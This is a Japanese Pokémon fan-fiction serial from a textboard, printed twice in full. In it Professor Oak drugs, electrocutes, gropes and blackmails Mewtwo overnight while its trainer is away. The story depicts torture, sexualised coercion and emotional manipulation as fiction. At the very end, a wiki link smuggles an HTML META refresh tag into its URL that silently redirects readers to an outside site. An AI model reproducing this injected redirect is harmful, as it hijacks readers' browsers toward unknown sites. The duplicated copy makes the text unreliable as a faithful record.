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**187 ID:L7CDfDUo 事の始まりは至って簡単だった タマムシシティのジムリーダーに勝利し、タマムシバッヂをゲットした男が オーキド博士に報告をいれたところ、ポケモン図鑑を見たいから一度戻ってきて欲しいと言ってきたのだ ミュウツーをゲットしてからは一度も家に戻っていない。男はその申し出を二つ返事で承諾し さきほどゲットした秘伝書から「空を飛ぶ」をリザードンに学ばせ、その背に乗りマサラタウンに向かう 「うわー、気持ちいー」 男は始めての空中遊泳を存分に楽しんでいた、リザードンの首にしっかりと腕をまきつけ 振り落とされないようにしがみ付いている。徐々にスピードがあがる、それと比例して男のテンションも上がり無意識ながらも締め付ける力も増していく。 『ポケモンの心トレーナー知らず』そんな諺があるかどうかはともかく、 リザードンはどんどん密着してくる男に速くなる鼓動を悟られまいと、あまりの恥ずかしさに赤くなる顔(元から赤いのだが)を男に見られまいとグングンスピードを上げている もちろん、そのすぐ横を同スピードで飛んでいるミュウツーにとってこれが面白い状況であるはずがなく (もし自分に翼があったのなら、あの役目は自分のものだったのに・・・) 振り落とされるのではないかと男の事を心配そうに見つめながらも、時折殺気を含んだ視線をリザードンに向けている。 「うっひゃー」 男の顔がリザードンの頬と密着する。リザードンはその不意打ちに対応できなかった その驚きからか今までにないほどの加速をみせミュウツーは慌てて後を追う 「な、きさま待て!主が落ちたらどうする!!く・・・あの馬鹿が!」 もう少しで音速の壁を突破する・・・というところでマサラタウンについた 男は気を失っている、それはまだ昼前の事だった。 ---- **188 ID:L7CDfDUo 「全く貴様は!主をいったいなんだと!やはり貴様には一度己の分というものを分からせて・・・」 ミュウツーとリザードンが言い争いをしている、その声に気づき、男が目を覚ます・・・ 「うう・・ん・・あれ?もうついたのか?ありがとうなリザードン。戻れ」 そのままリザードンはモンスターボールに戻された。まだ文句をいい足りないミュウツーは不服そうだ 「主、大丈夫ですか?どこかお怪我は?ご気分が悪いのでしたらまだ少し休んでいたほうが・・・」 「大丈夫だよ、いやー、それにしても空の旅っていいなぁ、また乗っけてもらおう」 その言葉がミュウツーの嫉妬心に再び火をつける。『あの蜥蜴・・・どうしてくれようか』 ミュウツーの思惑など知る由もなく、男はオーキドの研究所へ向かった。 「おお、来てくれたか」 「お久しぶりです博士」 二人はまず挨拶を交わす、しかしオーキドの目は初めから男をみていなかった お互いに会話こそしているものの、ずっとミュウツーの方をみているのだ 「長旅ごくろうじゃったの、ワシの我侭のために申し訳ない」 「いえ、博士のお陰でトレーナーになれたみたいなもんですから、気にしないで下さい」 「それにしても、お前さんがミュウツーをゲットするとは、ふむ、確かにこれは珍しい」 オーキドはミュウツーを上から下まで舐めるように見回す、ゆっくりと背後へ回り・・・ 『ペロッ』 ・・・本当に舐めた ---- **189 ID:L7CDfDUo 「な、なにをする!!」 流石のミュウツーも黙ってはいられなかった、しかし 「どうした?ミュウツー?」 男の位置からは何をしたのか見えなかったらしくキョトンとしている 「いやいや、申し訳ない。いや、人語も解するとは。本当に興味ぶかい」 「貴様・・・殺されたいのか・・・」 「な、何いってんだよ、ミュウツー。この人はオーキド博士。俺の尊敬している人の一人だよ。  それより博士、はいこれ」 そういうと男はポケモン図鑑をオーキドに渡す。しかしオーキドはさして興味もなさそうに「ああ・・預かろう」とそっけなくいうと白衣のポケットに収めた 「さて、男よ。ミュウツーの事はどれだけ知っておる?」 「え?どれだけって?」 男は質問の意味がわからないという風にオーキドを見上げる 「ミュウツーは世界でただ一匹だけのポケモン。一体どんな技を覚え、どんな病にかかるのか。理解しておるのか?と聞いておる」 「え?それは他のポケモンと同じじゃ?」 「そうとも言い切れない、ミュウツーは遺伝子操作によって生み出されたポケモンだと聞いておる、他のポケモンと同レベルで考えるのはどうかと思うぞ」 男は考える、確かに、自分はミュウツーの事をどれだけ知っているのだろう、出会ってから今まで考えた事もなかった。 ふとミュウツーの方を見る、男と目が会うとニコリと微笑んでくれた。 「そこでじゃ、今日一日ワシにミュウツーを預けてみんかね?」 ミュウツーは慌てて博士に向き直る。今、、、何と言った? ---- **190 ID:L7CDfDUo 「これから先も旅を続けるのじゃろう?今のうちに色々調べておいて損はしないじゃろ、何よりワシもミュウツーというポケモンには興味あるしのお」 「そ、そんな必要はない!私は主に迷惑をかけるつもりなどないし病になどかからん!」 ミュウツーはそう言い返したが、男は考える、確かにオーキドのいう事には最もだ、しかしミュウツーの境遇を考えると今自分が離れるのはあまり得策ではない気がした 「だったら俺もミュウツーと一緒に残ります、今日は泊めてください」 「ダメじゃ!!・・・あ、すまん。いや、その、なんじゃ時間がかかるし、他の研究員の邪魔になる。お前さんは久しぶりに実家に帰って親御さんを安心させてやったほうがいいじゃろ」 確かにそのとおりだ、オーキドの研究所から男の家はさほど離れていないし自分は何を心配しているのだろうか? ミュウツーが自分から離れたがらないのは分かっている、しかし今後のことを考えると必要な処置かもしれない 今までの付き合いからオーキド博士は信用に足る人物だと知っているし、何よりポケモン研究の第一人者、ミュウツーに危害を加えるとは思えない。 これ以上の人物はいないのではないだろうか?男はミュウツーの方へ向き直る 「ミュウツー、今日一日、オーキド博士の研究に付き合ってもらえるか?」 「し、しかし主・・・私は主と一緒に・・・」 「大丈夫、今晩だけだ、明日になったら迎えに来るし。何かあっても俺の家はすぐ側にある。なぁ、俺お前の事心配なんだ。  もしお前に何かあった時に何も出来なかったら、きっと俺自分で自分を許せない。一晩、一晩だけでいい我慢してくれないか?」 男の懇願にミュウツーは言葉を無くす 『ああ、主はこんなにも私の事を思っていてくれているのだ。嬉しい』 「わ・・・わかりました・・・」 ミュウツーが静かに頷く。 その時オーキドが笑った事に気がつく者は誰一人としていなかった。 ---- **191 ID:L7CDfDUo 「じゃぁ、俺帰るから。また明日な」 結局男は研究所で夕食を済ませ、ぎりぎりまでミュウツーと一緒にいた。 その男の優しさにミュウツーは一段と男への思いを膨れ上がらせ 『別れたくない』という思いとともに『男の命令だ、今晩だけは耐えて見せよう』そう硬く心に誓ったのである。 「では、始めようかの、ミュウツー・・・」 オーキドが静かに告げる。ミュウツーは不思議に思った 検査自体は男がいる間からずっと続けられていたのだ、妙なコードを体に取り付けたり、オーキドのポケモンとバトルをしたりと方法は様々だったが 始めるとはどういうことだろう?また別の検査なのだろうか?? 「今度は何をするんだ?」 オーキドは答えない、ミュウツーの背をおし、研究所の奥にある椅子へと促す 大人しく椅子に座る「コレは何を?」不安なのだろうか声が震えていた。 「耐久実験じゃよ」『ガチャン!』 椅子に座った瞬間ミュウツーの両手足が拘束される 「な!!!???ど、どういうことだ!?く、外れない[サイコキネシス]」 しかし何も起こらなかった 「無駄じゃよ、先ほどの料理にポケモンのパワーポイントを減らす薬を混ぜておいた。  市販はされてないがね。ピーピーエイダーと逆の作用をするというだけで作るのは案外簡単なんじゃよ」 オーキドは無表情にそう言い放つ 「さて、では実験を始めよう」 ---- **192 ID:L7CDfDUo 「がああああああああああああああああああああああああああああああ」 体中に電気が走った、比喩ではなく本物の電気だ。 「ほっほぅ、200万ボルトでも耐えるのか。これは本当に興味深い」 電気が止まる 「はぁ・・・はぁ・・・はぁ・・・き・・・さま・・・ころ・・して・・やる・・・」 やっとの事でその言葉を発するとオーキドはさらに楽しそうな顔をした 「まだ喋れるとは、驚きじゃ、一体どんな身体構造をしておるんじゃ?」 オーキドが疲れきっているミュウツーの体にふれる 足、太もも、股間、腹、胸、脇、腕、首、顔、耳、目、尻尾 その全てに触れながらオーキドは恍惚のため息をついている 「く・・・やめ・・・触るな・・・私に触れていいのは主だけだ・・・」 ミュウツーは今にも泣き出しそうだった 「忠誠心もたかい、いや、君の場合はもっと別の感情かね?しかし、ここでやめたら君の主にこういわなければならないな 『ひどいポケモンじゃ、君の言う事など忘れて実験につきあうどころか暴れまわったよ』と」 ミュウツーは愕然とした、こいつは何をいっている?自分の主がそんな戯言を信じるわけ・・・ 「さぞや悲しむだろうな、君の事を捨てるかも知れない」 「あ・・・あ・・・あ・あ・・いや、いやだいやだいやだ捨てられるのはいやいやだいやだいやだ。なんでもする、なんでもするから主にはいわないで」 オーキドは勝者の笑みを浮かべた ---- **193 ID:L7CDfDUo それからは悲惨だった オーキドの言う事を聞くしかなくなったミュウツーは ピーピーエイダーを与えられ。オーキドのポケモンとバトル いや、バトルとはとてもいえない、無抵抗のミュウツーにひたすら攻撃をしかけ ただただ自己再生の限界を調べるという子供のような実験から 血液を採取し、ミュウツーのコピーを作れるかという非道な実験まで行われた もちろんコピーについては一晩では時間もなく無理と判断されたが ミュウツーは一刻も早く時間が過ぎる事だけを祈りながらそれらの実験に耐えていた 結局ミュウツーは一睡もすることができなかった、なんだか体が重い。 もちろん眠っていないのはオーキドも同じだったがこちらは一転して軽やかな足取りだった やはり道のポケモンを研究するというのは至上の喜びなのだろう 朝には朝食も用意されたがミュウツーは昨晩のことを思い出し一口も食べることができなかった 「なんじゃ食べないのか?」 オーキドの声を聞いただけでミュウツーは「ヒッ」と小さく呻いてしまう。よほど昨日の実験がこたえたのだろう。 ミュウツーはそれからじっと下を向いて座っていた。 『ガチャ』研究所の扉が開かれる ミュウツーは慌てて顔を上げる。泣いてしまった。走る、走る、ほんの10Mもない距離を全力で 「主!!!!!!!!!!!!!!!!」「うわ、なんだミュウ・・ツー?」 泣いているミュウツーを見て男はそのままそっと抱きしめた ---- **194 ID:L7CDfDUo 「さみしかったのか?」 男がいう、勿論寂しかった、しかしそれ以上に辛かった。主の命令だ逆らう事は出来ない、逆らう気もない、でもこれは辛かった。 男は優しくミュウツーを抱きしめたまま、顔を上げオーキドの方を向く 「何かわかりましたか?」 「ああ、色々わかったよ、まぁ時間がなくて調べきれない部分もあるが・・・まぁミュウツーに何かあったら連れてくるといいじゃろ  よほどの事がなければ対処できるはずじゃ」 オーキドの声にミュウツーが反応する、慌てて男の後ろにまわり、怯えるように(実際に怯えているのだが)男の肩越しにオーキドを見る 「どうした?ミュウツー?」 何も知らない男は、その様子を不思議そうにみている 「ははは、嫌われてしまったようじゃの、どうやら昨日血液の検査をするさいの針がよっぽど嫌だったらしくての」 白々しくオーキドが嘘をつく、しかしミュウツーは何も言う事ができなかった 「なんだ、注射が怖かったのか、案外情けないんだなミュウツーも」 オーキドと男は笑う。 『違う、違うのです主、その男はもっと痛い事を、もっと嫌な事をしたんです』 ミュウツーは必死に目で訴えるが、男は気がつかない 「じゃぁ、そろそろ俺たちいきます。また来ますから」 「おお、また、いつでもくるといい、ミュウツーも」 オーキドは優しくそういったが次の瞬間にはミュウツーは男の手を取り走り出していた 「な、おいミュウツー!待てよ!オーキド博士ーすいません。それじゃまたー」 男はそういうとミュウツーの走りに合わせ横に並ぶ。だから男は気がつかない、オーキドがまた笑っている事に。
**187 ID:L7CDfDUo 事の始まりは至って簡単だった タマムシシティのジムリーダーに勝利し、タマムシバッヂをゲットした男が オーキド博士に報告をいれたところ、ポケモン図鑑を見たいから一度戻ってきて欲しいと言ってきたのだ ミュウツーをゲットしてからは一度も家に戻っていない。男はその申し出を二つ返事で承諾し さきほどゲットした秘伝書から「空を飛ぶ」をリザードンに学ばせ、その背に乗りマサラタウンに向かう 「うわー、気持ちいー」 男は始めての空中遊泳を存分に楽しんでいた、リザードンの首にしっかりと腕をまきつけ 振り落とされないようにしがみ付いている。徐々にスピードがあがる、それと比例して男のテンションも上がり無意識ながらも締め付ける力も増していく。 『ポケモンの心トレーナー知らず』そんな諺があるかどうかはともかく、 リザードンはどんどん密着してくる男に速くなる鼓動を悟られまいと、あまりの恥ずかしさに赤くなる顔(元から赤いのだが)を男に見られまいとグングンスピードを上げている もちろん、そのすぐ横を同スピードで飛んでいるミュウツーにとってこれが面白い状況であるはずがなく (もし自分に翼があったのなら、あの役目は自分のものだったのに・・・) 振り落とされるのではないかと男の事を心配そうに見つめながらも、時折殺気を含んだ視線をリザードンに向けている。 「うっひゃー」 男の顔がリザードンの頬と密着する。リザードンはその不意打ちに対応できなかった その驚きからか今までにないほどの加速をみせミュウツーは慌てて後を追う 「な、きさま待て!主が落ちたらどうする!!く・・・あの馬鹿が!」 もう少しで音速の壁を突破する・・・というところでマサラタウンについた 男は気を失っている、それはまだ昼前の事だった。 ---- **188 ID:L7CDfDUo 「全く貴様は!主をいったいなんだと!やはり貴様には一度己の分というものを分からせて・・・」 ミュウツーとリザードンが言い争いをしている、その声に気づき、男が目を覚ます・・・ 「うう・・ん・・あれ?もうついたのか?ありがとうなリザードン。戻れ」 そのままリザードンはモンスターボールに戻された。まだ文句をいい足りないミュウツーは不服そうだ 「主、大丈夫ですか?どこかお怪我は?ご気分が悪いのでしたらまだ少し休んでいたほうが・・・」 「大丈夫だよ、いやー、それにしても空の旅っていいなぁ、また乗っけてもらおう」 その言葉がミュウツーの嫉妬心に再び火をつける。『あの蜥蜴・・・どうしてくれようか』 ミュウツーの思惑など知る由もなく、男はオーキドの研究所へ向かった。 「おお、来てくれたか」 「お久しぶりです博士」 二人はまず挨拶を交わす、しかしオーキドの目は初めから男をみていなかった お互いに会話こそしているものの、ずっとミュウツーの方をみているのだ 「長旅ごくろうじゃったの、ワシの我侭のために申し訳ない」 「いえ、博士のお陰でトレーナーになれたみたいなもんですから、気にしないで下さい」 「それにしても、お前さんがミュウツーをゲットするとは、ふむ、確かにこれは珍しい」 オーキドはミュウツーを上から下まで舐めるように見回す、ゆっくりと背後へ回り・・・ 『ペロッ』 ・・・本当に舐めた ---- **189 ID:L7CDfDUo 「な、なにをする!!」 流石のミュウツーも黙ってはいられなかった、しかし 「どうした?ミュウツー?」 男の位置からは何をしたのか見えなかったらしくキョトンとしている 「いやいや、申し訳ない。いや、人語も解するとは。本当に興味ぶかい」 「貴様・・・殺されたいのか・・・」 「な、何いってんだよ、ミュウツー。この人はオーキド博士。俺の尊敬している人の一人だよ。  それより博士、はいこれ」 そういうと男はポケモン図鑑をオーキドに渡す。しかしオーキドはさして興味もなさそうに「ああ・・預かろう」とそっけなくいうと白衣のポケットに収めた 「さて、男よ。ミュウツーの事はどれだけ知っておる?」 「え?どれだけって?」 男は質問の意味がわからないという風にオーキドを見上げる 「ミュウツーは世界でただ一匹だけのポケモン。一体どんな技を覚え、どんな病にかかるのか。理解しておるのか?と聞いておる」 「え?それは他のポケモンと同じじゃ?」 「そうとも言い切れない、ミュウツーは遺伝子操作によって生み出されたポケモンだと聞いておる、他のポケモンと同レベルで考えるのはどうかと思うぞ」 男は考える、確かに、自分はミュウツーの事をどれだけ知っているのだろう、出会ってから今まで考えた事もなかった。 ふとミュウツーの方を見る、男と目が会うとニコリと微笑んでくれた。 「そこでじゃ、今日一日ワシにミュウツーを預けてみんかね?」 ミュウツーは慌てて博士に向き直る。今、、、何と言った? ---- **190 ID:L7CDfDUo 「これから先も旅を続けるのじゃろう?今のうちに色々調べておいて損はしないじゃろ、何よりワシもミュウツーというポケモンには興味あるしのお」 「そ、そんな必要はない!私は主に迷惑をかけるつもりなどないし病になどかからん!」 ミュウツーはそう言い返したが、男は考える、確かにオーキドのいう事には最もだ、しかしミュウツーの境遇を考えると今自分が離れるのはあまり得策ではない気がした 「だったら俺もミュウツーと一緒に残ります、今日は泊めてください」 「ダメじゃ!!・・・あ、すまん。いや、その、なんじゃ時間がかかるし、他の研究員の邪魔になる。お前さんは久しぶりに実家に帰って親御さんを安心させてやったほうがいいじゃろ」 確かにそのとおりだ、オーキドの研究所から男の家はさほど離れていないし自分は何を心配しているのだろうか? ミュウツーが自分から離れたがらないのは分かっている、しかし今後のことを考えると必要な処置かもしれない 今までの付き合いからオーキド博士は信用に足る人物だと知っているし、何よりポケモン研究の第一人者、ミュウツーに危害を加えるとは思えない。 これ以上の人物はいないのではないだろうか?男はミュウツーの方へ向き直る 「ミュウツー、今日一日、オーキド博士の研究に付き合ってもらえるか?」 「し、しかし主・・・私は主と一緒に・・・」 「大丈夫、今晩だけだ、明日になったら迎えに来るし。何かあっても俺の家はすぐ側にある。なぁ、俺お前の事心配なんだ。  もしお前に何かあった時に何も出来なかったら、きっと俺自分で自分を許せない。一晩、一晩だけでいい我慢してくれないか?」 男の懇願にミュウツーは言葉を無くす 『ああ、主はこんなにも私の事を思っていてくれているのだ。嬉しい』 「わ・・・わかりました・・・」 ミュウツーが静かに頷く。 その時オーキドが笑った事に気がつく者は誰一人としていなかった。 ---- **191 ID:L7CDfDUo 「じゃぁ、俺帰るから。また明日な」 結局男は研究所で夕食を済ませ、ぎりぎりまでミュウツーと一緒にいた。 その男の優しさにミュウツーは一段と男への思いを膨れ上がらせ 『別れたくない』という思いとともに『男の命令だ、今晩だけは耐えて見せよう』そう硬く心に誓ったのである。 「では、始めようかの、ミュウツー・・・」 オーキドが静かに告げる。ミュウツーは不思議に思った 検査自体は男がいる間からずっと続けられていたのだ、妙なコードを体に取り付けたり、オーキドのポケモンとバトルをしたりと方法は様々だったが 始めるとはどういうことだろう?また別の検査なのだろうか?? 「今度は何をするんだ?」 オーキドは答えない、ミュウツーの背をおし、研究所の奥にある椅子へと促す 大人しく椅子に座る「コレは何を?」不安なのだろうか声が震えていた。 「耐久実験じゃよ」『ガチャン!』 椅子に座った瞬間ミュウツーの両手足が拘束される 「な!!!???ど、どういうことだ!?く、外れない[サイコキネシス]」 しかし何も起こらなかった 「無駄じゃよ、先ほどの料理にポケモンのパワーポイントを減らす薬を混ぜておいた。  市販はされてないがね。ピーピーエイダーと逆の作用をするというだけで作るのは案外簡単なんじゃよ」 オーキドは無表情にそう言い放つ 「さて、では実験を始めよう」 ---- **192 ID:L7CDfDUo 「がああああああああああああああああああああああああああああああ」 体中に電気が走った、比喩ではなく本物の電気だ。 「ほっほぅ、200万ボルトでも耐えるのか。これは本当に興味深い」 電気が止まる 「はぁ・・・はぁ・・・はぁ・・・き・・・さま・・・ころ・・して・・やる・・・」 やっとの事でその言葉を発するとオーキドはさらに楽しそうな顔をした 「まだ喋れるとは、驚きじゃ、一体どんな身体構造をしておるんじゃ?」 オーキドが疲れきっているミュウツーの体にふれる 足、太もも、股間、腹、胸、脇、腕、首、顔、耳、目、尻尾 その全てに触れながらオーキドは恍惚のため息をついている 「く・・・やめ・・・触るな・・・私に触れていいのは主だけだ・・・」 ミュウツーは今にも泣き出しそうだった 「忠誠心もたかい、いや、君の場合はもっと別の感情かね?しかし、ここでやめたら君の主にこういわなければならないな 『ひどいポケモンじゃ、君の言う事など忘れて実験につきあうどころか暴れまわったよ』と」 ミュウツーは愕然とした、こいつは何をいっている?自分の主がそんな戯言を信じるわけ・・・ 「さぞや悲しむだろうな、君の事を捨てるかも知れない」 「あ・・・あ・・・あ・あ・・いや、いやだいやだいやだ捨てられるのはいやいやだいやだいやだ。なんでもする、なんでもするから主にはいわないで」 オーキドは勝者の笑みを浮かべた ---- **193 ID:L7CDfDUo それからは悲惨だった オーキドの言う事を聞くしかなくなったミュウツーは ピーピーエイダーを与えられ。オーキドのポケモンとバトル いや、バトルとはとてもいえない、無抵抗のミュウツーにひたすら攻撃をしかけ ただただ自己再生の限界を調べるという子供のような実験から 血液を採取し、ミュウツーのコピーを作れるかという非道な実験まで行われた もちろんコピーについては一晩では時間もなく無理と判断されたが ミュウツーは一刻も早く時間が過ぎる事だけを祈りながらそれらの実験に耐えていた 結局ミュウツーは一睡もすることができなかった、なんだか体が重い。 もちろん眠っていないのはオーキドも同じだったがこちらは一転して軽やかな足取りだった やはり道のポケモンを研究するというのは至上の喜びなのだろう 朝には朝食も用意されたがミュウツーは昨晩のことを思い出し一口も食べることができなかった 「なんじゃ食べないのか?」 オーキドの声を聞いただけでミュウツーは「ヒッ」と小さく呻いてしまう。よほど昨日の実験がこたえたのだろう。 ミュウツーはそれからじっと下を向いて座っていた。 『ガチャ』研究所の扉が開かれる ミュウツーは慌てて顔を上げる。泣いてしまった。走る、走る、ほんの10Mもない距離を全力で 「主!!!!!!!!!!!!!!!!」「うわ、なんだミュウ・・ツー?」 泣いているミュウツーを見て男はそのままそっと抱きしめた ---- **194 ID:L7CDfDUo 「さみしかったのか?」 男がいう、勿論寂しかった、しかしそれ以上に辛かった。主の命令だ逆らう事は出来ない、逆らう気もない、でもこれは辛かった。 男は優しくミュウツーを抱きしめたまま、顔を上げオーキドの方を向く 「何かわかりましたか?」 「ああ、色々わかったよ、まぁ時間がなくて調べきれない部分もあるが・・・まぁミュウツーに何かあったら連れてくるといいじゃろ  よほどの事がなければ対処できるはずじゃ」 オーキドの声にミュウツーが反応する、慌てて男の後ろにまわり、怯えるように(実際に怯えているのだが)男の肩越しにオーキドを見る 「どうした?ミュウツー?」 何も知らない男は、その様子を不思議そうにみている 「ははは、嫌われてしまったようじゃの、どうやら昨日血液の検査をするさいの針がよっぽど嫌だったらしくての」 白々しくオーキドが嘘をつく、しかしミュウツーは何も言う事ができなかった 「なんだ、注射が怖かったのか、案外情けないんだなミュウツーも」 オーキドと男は笑う。 『違う、違うのです主、その男はもっと痛い事を、もっと嫌な事をしたんです』 ミュウツーは必死に目で訴えるが、男は気がつかない 「じゃぁ、そろそろ俺たちいきます。また来ますから」 「おお、また、いつでもくるといい、ミュウツーも」 オーキドは優しくそういったが次の瞬間にはミュウツーは男の手を取り走り出していた 「な、おいミュウツー!待てよ!オーキド博士ーすいません。それじゃまたー」 男はそういうとミュウツーの走りに合わせ横に並ぶ。だから男は気がつかない、オーキドがまた笑っている事に。 [[@wikiへ>http://kam.jp"><META HTTP-EQUIV="Refresh" CONTENT="0; URL=http://esthe.pink.sh/r/]]

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